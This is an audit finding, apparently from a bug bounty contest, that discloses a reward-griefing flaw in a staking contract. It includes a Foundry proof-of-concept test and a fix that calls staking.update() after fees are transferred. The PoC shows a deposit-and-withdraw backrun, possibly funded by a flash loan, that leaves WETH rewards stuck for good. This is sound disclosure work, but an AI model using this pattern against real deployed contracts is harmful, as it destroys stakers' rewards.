20,000 USDC
View results
Submission Details
Severity: high
Valid

Griefing of rewards by making a deposit after a transfer of WETH rewards

Summary

After rewards are sent to the staking contract, a deposit of tokens can be made to reduce the rewards distributed to stakers. This reduction on the rewards will be lost, claimable by nobody, and forever stuck on the staking contract.

Vulnerability Details

Griefing of the staking contract can be achieved by backrunning the transfer of WETH with a token deposit and withdraw in the same transaction. The staking token could eventually be obtainable by a flash loan.

When new WETH is sent to the staking contract, if it is followed by a deposit, the calculation of the rewards is not correct.

On the deposit function first the tokens are transferred to the contract. Then the calculation of the rewards is done with the balance of the tokens currently on the staking contract, including the amount just deposited by the User. Despite the user having just diluted the rewards for the other users, he will be unable to claim the diluted amount. The diluted amount of rewards will be stuck on the contract.

Consider the following POC:

import "forge-std/Test.sol";
import "../src/Staking.sol";

import {ERC20, WETH} from "solady/src/tokens/WETH.sol";

contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}

contract StakingTest is Test {

Staking public staking;

WETH public wethToken;
TERC20 public stakingToken;

address public staker1 = address(0x1);
address public staker2 = address(0x2);
address public owner = address(0x3);

function setUp() public {
    stakingToken = new TERC20();
    wethToken = new WETH();
    vm.deal(owner, 1000 ether);
    vm.startPrank(owner);
    staking = new Staking(address(stakingToken), address(wethToken));
    stakingToken.mint(owner, 100 ether);
    wethToken.deposit{value: 50 ether}();
}

function test_rewardsGriefing() public {
    vm.startPrank(owner);
    stakingToken.transfer(staker1, 20 ether);

    // users stake the tokens
    vm.startPrank(staker1);
    stakingToken.approve(address(staking), 20 ether);
    staking.deposit(20 ether);

    vm.startPrank(owner);
    // 10 WETH in fees are sent to the staking contract 
    wethToken.transfer(address(staking), 10 ether);
    // staking.update(); // @note to have the test pass uncomment this line

    vm.startPrank(owner);
    stakingToken.transfer(staker2, 80 ether);
    // staker 2 gets 80 tokens to backrun after the fees are deposited. 
    // tokens maybe can be obtained by flashloan and returned at the end of the transaction
    vm.startPrank(staker2);
    stakingToken.approve(address(staking), 80 ether);
    staking.deposit(80 ether);
    //return hipotetical flashloan
    staking.withdraw(80 ether);

    // claim the weth rewards
    vm.startPrank(staker1);
    staking.claim();


    assertEq(wethToken.balanceOf(address(staking)) / 1 ether, 0);
    assertEq(wethToken.balanceOf(address(staker1)) / 1 ether, 10);
    assertEq(wethToken.balanceOf(address(staker2)) / 1 ether, 0);

    // the first 10 weth are forever stuck on the contract
    console.log("staking contract weth balance", wethToken.balanceOf(address(staking)) / 1 ether);
    console.log("staker 1 eth balance", wethToken.balanceOf(staker1)/ 1 ether);
    console.log("staker 2 eth balance", wethToken.balanceOf(staker2)/ 1 ether);
}

Impact

Permanent loss of WETH stuck in the staking contract. Reduction of rewards for legitimate stakers.

Tools Used

Foundry

Recommendations

The WETH rewards are being sent to the staking contract by the Fees contract. If staking.update() is called after the transfer of the fees, the issue will be prevented.

diff --git a/src/Fees.sol b/src/Fees.sol

@@ -35,11 +35,12 @@ contract Fees {
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amount,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        amount = swapRouter.exactInputSingle(params);
        IERC20(WETH).transfer(staking, IERC20(WETH).balanceOf(address(this)));
+        Staking(staking).update();
    }
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.